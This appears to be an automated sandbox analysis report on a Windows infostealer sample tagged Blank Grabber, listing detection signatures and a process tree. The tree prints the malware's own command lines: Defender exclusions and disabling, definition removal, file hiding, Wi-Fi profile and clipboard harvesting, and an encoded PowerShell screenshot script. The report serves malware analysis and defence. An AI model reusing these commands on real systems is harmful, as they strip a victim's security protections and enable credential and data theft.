Edit tour

Windows Analysis Report
QIjBj1l8We.exe

Overview

General Information

Sample name:	QIjBj1l8We.exe renamed because original name is a hash value
Original sample name:	48a8ee49651a74a74baca1f7c94729e5.exe
Analysis ID:	1460520
MD5:	48a8ee49651a74a74baca1f7c94729e5
SHA1:	0339e2c61f6cdb9e37ca03f9d97e7811593eba23
SHA256:	9ce7950dbd49b8c82b25df40fa94e88830361b8625d2f91214fa7583a346f992
Tags:	BlankGrabberexe
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Snort IDS alert for network traffic

Yara detected Blank Grabber

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Disable UAC(promptonsecuredesktop)

Disables UAC (registry)

Drops executable to a common third party application directory

Encrypted powershell cmdline option found

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Modifies the hosts file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Removes signatures from Windows Defender

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Suspicious Startup Folder Persistence

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses attrib.exe to hide files

Uses cmd line tools excessively to alter registry or file data

Uses netsh to modify the Windows network and firewall settings

Uses the Telegram API (likely for C&C communication)

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes or reads registry keys via WMI

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Too many similar processes found

Uses 32bit PE files

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

QIjBj1l8We.exe (PID: 6616 cmdline: "C:\Users\user\Desktop\QIjBj1l8We.exe" MD5: 48A8EE49651A74A74BACA1F7C94729E5)

x12.exe (PID: 4504 cmdline: "C:\Users\user\AppData\Local\Temp\x12.exe" MD5: A236344BCC36451B5760C4BF40DF3CDA)

x11.exe (PID: 4284 cmdline: "C:\Users\user\AppData\Local\Temp\x11.exe" MD5: 34CB7FCA8CB671327865D0BCF6DE72BC)

x10.exe (PID: 6660 cmdline: "C:\Users\user\AppData\Local\Temp\x10.exe" MD5: B93FC536DF3C66E783FCBB9071DB7545)

x9.exe (PID: 5236 cmdline: "C:\Users\user\AppData\Local\Temp\x9.exe" MD5: 7E5F18A5C7EB009E54AE4FC6127E864C)

x8.exe (PID: 1544 cmdline: "C:\Users\user\AppData\Local\Temp\x8.exe" MD5: DD97AAB085B140B715DD1A52038E3C70)

x7.exe (PID: 5660 cmdline: "C:\Users\user\AppData\Local\Temp\x7.exe" MD5: 0E9FEE8861C55C0EBADC5F678FBD8A9A)

x6.exe (PID: 5448 cmdline: "C:\Users\user\AppData\Local\Temp\x6.exe" MD5: 61F5D17C10DE6541139134FB7058F88E)

x5.exe (PID: 6708 cmdline: "C:\Users\user\AppData\Local\Temp\x5.exe" MD5: 8DBEE0CB9B7550432DF6BEB4D9EA5CF0)

x4.exe (PID: 3992 cmdline: "C:\Users\user\AppData\Local\Temp\x4.exe" MD5: 609A00E116060457295CE9293E6E3B3E)

CheatLauncherV2.exe (PID: 4080 cmdline: "C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe" MD5: 108590051FAB4871AF861B8B12AD1E96)

DCRatBuild.exe (PID: 4320 cmdline: "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe" MD5: 2EDB71DD3792B6F6A774EDBF67BB78D2)

wscript.exe (PID: 6732 cmdline: "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 8024 cmdline: C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fontsessionruntime.exe (PID: 7868 cmdline: "C:\agentInto\fontsessionruntime.exe" MD5: 6CF5F23F1C8CA3BC6342506BAAC300DA)

Built.exe (PID: 6616 cmdline: "C:\Users\user\AppData\Local\Temp\Built.exe" MD5: 68D3EA3AFA53DEDFD3593D140747B932)

SolaraBootstrapper.exe (PID: 744 cmdline: "C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe" MD5: 6557BD5240397F026E675AFB78544A26)

conhost.exe (PID: 5788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Built.exe (PID: 3288 cmdline: "C:\Users\user\AppData\Local\Temp\Built.exe" MD5: 68D3EA3AFA53DEDFD3593D140747B932)

cmd.exe (PID: 6220 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7264 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 2484 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7292 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6684 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7336 cmdline: attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 7184 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7328 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7548 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7828 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7556 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7812 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7656 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7820 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

Conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7740 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7304 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7760 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7392 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7772 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8156 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7796 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7580 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 7840 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 7600 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 8020 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 8276 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 8092 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8068 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 2212 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7984 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDAF6.tmp" "c:\Users\user\AppData\Local\Temp\gkfhm5n3\CSCE3FF6834DD6C4DE392BB63A4482876F5.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 8236 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8436 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8468 cmdline: C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 8604 cmdline: attrib -r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

